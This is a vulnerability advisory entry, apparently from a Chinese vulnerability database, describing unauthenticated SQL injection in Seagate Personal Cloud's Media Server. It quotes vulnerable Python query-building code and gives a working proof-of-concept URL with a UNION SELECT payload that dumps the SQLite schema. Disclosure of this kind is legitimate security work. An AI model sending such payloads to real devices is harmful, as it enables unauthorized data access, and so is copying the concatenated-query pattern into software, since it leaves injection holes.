Seagate Personal Cloud SRN21C 4.3.16.0 / 4.3.18.0 - SQL Injection

基本字段

漏洞编号:
SSV-97507
披露/发现时间:
2017-09-01
提交时间:
2018-08-29
漏洞等级:
漏洞类别:
SQL 注入
影响组件:
Seagate Personal Cloud
漏洞作者:
Yorick Koster
提交者:
Knownsec
CVE-ID:
补充
CNNVD-ID:
补充
CNVD-ID:
补充
ZoomEye Dork:
补充

来源

漏洞详情

贡献者 共获得  0KB

Abstract

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). It was found that Seagate Media Server is affected by multiple SQL injection vulnerabilities. An unauthenticated attacker can exploit this issue to retrieve or modify arbitrary data in the database used by Seagate Media Server. Seagate Media Server uses a separate SQLite3 database, which limits what the attacker can do with this issue.

Tested versions

This issue was tested on a Seagate Personal Cloud model SRN21C running firmware versions 4.3.16.0 and 4.3.18.0. It is likely that other devices/models are also affected.

Fix

These vulnerabilities have been fixed in firmware version 4.3.19.3.

Introduction

Seagate Personal Cloud is a consumer-grade Network-Attached Storage device (NAS). Personal Cloud is deployed with the Seagate Media Server application that allows users to easily access their movies, music, and photos. The Seagate Media Server is accessible without authentication, by default a Public folder exists where anonymous users can upload files to.

It was found that Seagate Media Server is affected by multiple SQL injection vulnerabilities. An unauthenticated attacker can exploit this issue to retrieve or modify arbitrary data in the database used by Seagate Media Server. Seagate Media Server uses a separate SQLite3 database, which limits what the attacker can do with this issue.

Details

Seagate Media Server uses the Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol.

/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   )),
".psp/"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   ))
)

URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. It was found that many views contains SQL injection vulnerabilities. Since the number of issues is large only a selection of the identified issues is listed below.

/usr/lib/python2.7/site-packages/sms/Doc/core/documentSort.py (insecure use of format):

searchResult = self.dbObj.execute_command(RequestType.GETDICT, searchQuery.format(orderby = orderby,order = order,startwith_construct=startwith_construct), params = paramdict, priority = PriorityLevel.UI)
[...]
searchQuery = "Select id as UID, id, name, url, thumbUrl, size, approxFileSize, creationTime, approxCreationTime, type, extension, views, " \
            "SUBSTR(album, 0, length(album) - 32) AS album, album AS albumId," \
            "dirId, title as dtitle, dropboxSync , googleDriveSync from doc where album like :name escape '|' order by {orderby} {order} LIMIT :offset offset :start".format(orderby = orderby,order = order)

/usr/lib/python2.7/site-packages/sms/FolderView/core/Folder.py (unsafe string concatenation):

def allfiles(self, start, count, order, uid, orderby, folderOnly):
   dirOrderby = "name"

   if orderby == "creationTime":
      dirOrderby = "creationTime"

   countdirectory = "SELECT count(id) FROM directories WHERE parentdirId= '" + uid + "'"
   dcount = 0
   result = self.dbObj.execute_command(RequestType.GETONE, countdirectory, priority = PriorityLevel.UI)
   if result:
      dcount = result["data"]["result"][0]
   count = int(count)
   start = int(start)
   tcount = start + count
   if start <= dcount:
      if tcount > dcount:
         ocount = tcount - dcount
         searchfolder = "SELECT id, name, url, parentdirId, creationTime, thumbUrl FROM directories WHERE parentdirId= '" + uid + "' ORDER BY " + dirOrderby + " " + order + " LIMIT " + str(count) + " OFFSET " + str(start)

Similar issues were observed in the following files (non-exhaustive list):

  • /usr/lib/python2.7/site-packages/sms/Music/core/musicSort.py
  • /usr/lib/python2.7/site-packages/sms/Music/views.py
  • /usr/lib/python2.7/site-packages/sms/Photo/core/photoSort.py
  • /usr/lib/python2.7/site-packages/sms/Photo/views.py
  • /usr/lib/python2.7/site-packages/sms/Video/core/videoSort.py
  • /usr/lib/python2.7/site-packages/sms/Video/views.py

Proof of concept

The following proof of concept can be used to verify this issue.

http://personalcloud.local/folderViewAllFiles.psp?start=0&count=60&url=%2F&dirId=\'+union+select+null,name,null,sql,null,null+from+sqlite_master+--+'
共 0  兑换了

PoC (非 pocsuite 插件)

贡献者 Knownsec 共获得   0KB
1
http://personalcloud.local/folderViewAllFiles.psp?start=0&count=60&url=%2F&dirId=\'+union+select+null,name,null,sql,null,null+from+sqlite_master+--+'
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

共 0 兑换

参考链接

解决方案

临时解决方案

暂无临时解决方案

官方解决方案

暂无官方解决方案

防护方案

暂无防护方案

人气 3959
评论前需绑定手机 现在绑定

暂无评论

※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负